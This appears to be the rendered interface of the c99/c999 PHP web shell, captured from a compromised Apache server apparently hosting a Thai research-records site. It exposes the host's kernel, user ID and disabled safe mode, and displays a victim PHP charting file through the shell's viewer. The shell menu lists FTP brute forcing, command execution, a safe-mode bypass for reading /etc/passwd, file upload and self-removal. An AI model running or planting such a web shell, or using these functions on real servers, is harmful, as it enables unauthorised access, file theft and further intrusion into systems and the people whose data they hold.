!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GrapResearch.php (18.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
execQuery($query);
		//$numrows = $dbObj->_numrows
	
		

 ?>






 ข้อมูลงานวิจัย




หน้าหลัก » ข้อมูลผลงานประเภทต่างๆ » กราฟแสดงข้อมูลผลงานวิจัย  
 
‹ ย้อนกลับ
   
"; // Fetch all factory records $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' and Year_prop !='0' GROUP BY rt.Year_prop "; $result1 = mysql_query($strQuery); //Iterate through each factory if ($result1) { while( $rs1 = mysql_fetch_array($result1) ) { $error_id = $rs1['id']; $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' and rt.Year_prop ='$rs1[Year_prop]' "; $result2 = mysql_query($strQuery); $numAmt = mysql_num_rows($result2); $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("./charts/Column3D.swf", "", $strXML, "", 750, 375, false, false); ?> "; // Fetch all factory records $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' and academic_year_finish !='0' GROUP BY rt.academic_year_finish "; $result2= mysql_query($strQuery); //Iterate through each factory if ($result2) { while( $rs2 = mysql_fetch_array($result2) ) { $error_id = $rs2['id']; $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' and rt.academic_year_finish ='$rs2[academic_year_finish]' "; $result3 = mysql_query($strQuery); $numAmt = mysql_num_rows($result3); $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("./charts/Column3D.swf", "", $strXML, "", 750, 375, false, false); ?> "; // Fetch all factory records $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' and rt.fiscal_year_finish !='0' GROUP BY rt.fiscal_year_finish "; $result1 = mysql_query($strQuery); //Iterate through each factory if ($result1) { while( $rs1 = mysql_fetch_array($result1) ) { $error_id = $rs1['id']; $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' and rt.fiscal_year_finish='$rs1[fiscal_year_finish]' "; $result2 = mysql_query($strQuery); $numAmt = mysql_num_rows($result2); $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("./charts/Column3D.swf", "", $strXML, "", 750, 375, false, false); ?> "; // Fetch all factory records $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb , research_success_tb rst WHERE rt.Research_code = rb.Research_code and rt.Research_code=rst.Research_code and rb.ReTyId='1' and rst.outreacId ='Y' GROUP BY rt.fiscal_year_finish "; $result1 = mysql_query($strQuery); //Iterate through each factory if ($result1) { while( $rs1 = mysql_fetch_array($result1) ) { $error_id = $rs1['id']; $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb , research_success_tb rst WHERE rt.Research_code = rb.Research_code and rt.Research_code=rst.Research_code and rb.ReTyId='1' and rst.outreacId ='Y' and rt.fiscal_year_finish ='$rs1[fiscal_year_finish]' "; $result2 = mysql_query($strQuery); $numAmt = mysql_num_rows($result2); $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("./charts/Column3D.swf", "", $strXML, "", 750, 375, false, false); ?> "; // Fetch all factory records $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb , research_success_tb rst WHERE rt.Research_code = rb.Research_code and rb.Research_code=rst.Research_code and rb.ReTyId='1' and rst.outSouse ='Y' GROUP BY rt.fiscal_year_finish "; $result1 = mysql_query($strQuery); //Iterate through each factory if ($result1) { while( $rs1 = mysql_fetch_array($result1) ) { $error_id = $rs1['id']; $strQuery = " SELECT * FROM research_tb rt, research_public_tb rb , research_success_tb rst WHERE rt.Research_code = rb.Research_code and rb.Research_code=rst.Research_code and rb.ReTyId='1' and rst.outSouse ='Y' and rt.fiscal_year_finish ='$rs1[fiscal_year_finish]' "; $result2 = mysql_query($strQuery); $numAmt = mysql_num_rows($result2); $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("./charts/Column3D.swf", "", $strXML, "", 750, 375, false, false); ?> "; // Fetch all factory records $strQuery = " SELECT * FROM research_tb rt, research_dissemination rd WHERE rt.Research_code = rd.Research_code Group By rd.academic_year_finish "; $result1 = mysql_query($strQuery); //Iterate through each factory if ($result1) { while( $rs1 = mysql_fetch_array($result1) ) { $error_id = $rs1['id']; $strQuery = " SELECT SUM(Results) AS Sum FROM research_tb rt, research_dissemination rd WHERE rt.Research_code = rd.Research_code and rd.academic_year_finish='$rs1[academic_year_finish]' "; $result2 = mysql_query($strQuery); $rs2 = $dbObj->fetchArray($result2); // $Sum = mysql_num_rows($result2); // echo number_format($rs6['Sum'],2,'.',','); $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("./charts/Column3D.swf", "", $strXML, "", 750, 375, false, false); ?> "; // Fetch all factory records $strQuery = " SELECT * FROM research_tb rt , research_dissemination rd WHERE rt.Research_code = rd.Research_code Group By rd.academic_year_finish "; $result1 = mysql_query($strQuery); //Iterate through each factory if ($result1) { while( $rs1 = mysql_fetch_array($result1) ) { $error_id = $rs1['id']; $strQuery = " SELECT * FROM research_tb rt, research_dissemination rd WHERE rt.Research_code = rd.Research_code and rd.academic_year_finish='$rs1[academic_year_finish]' "; $result2 = mysql_query($strQuery); $numAmt = mysql_num_rows($result2); $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("./charts/Column2D.swf", "", $strXML, "", 750, 375, false, false); ?>
 
freeresult($result); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--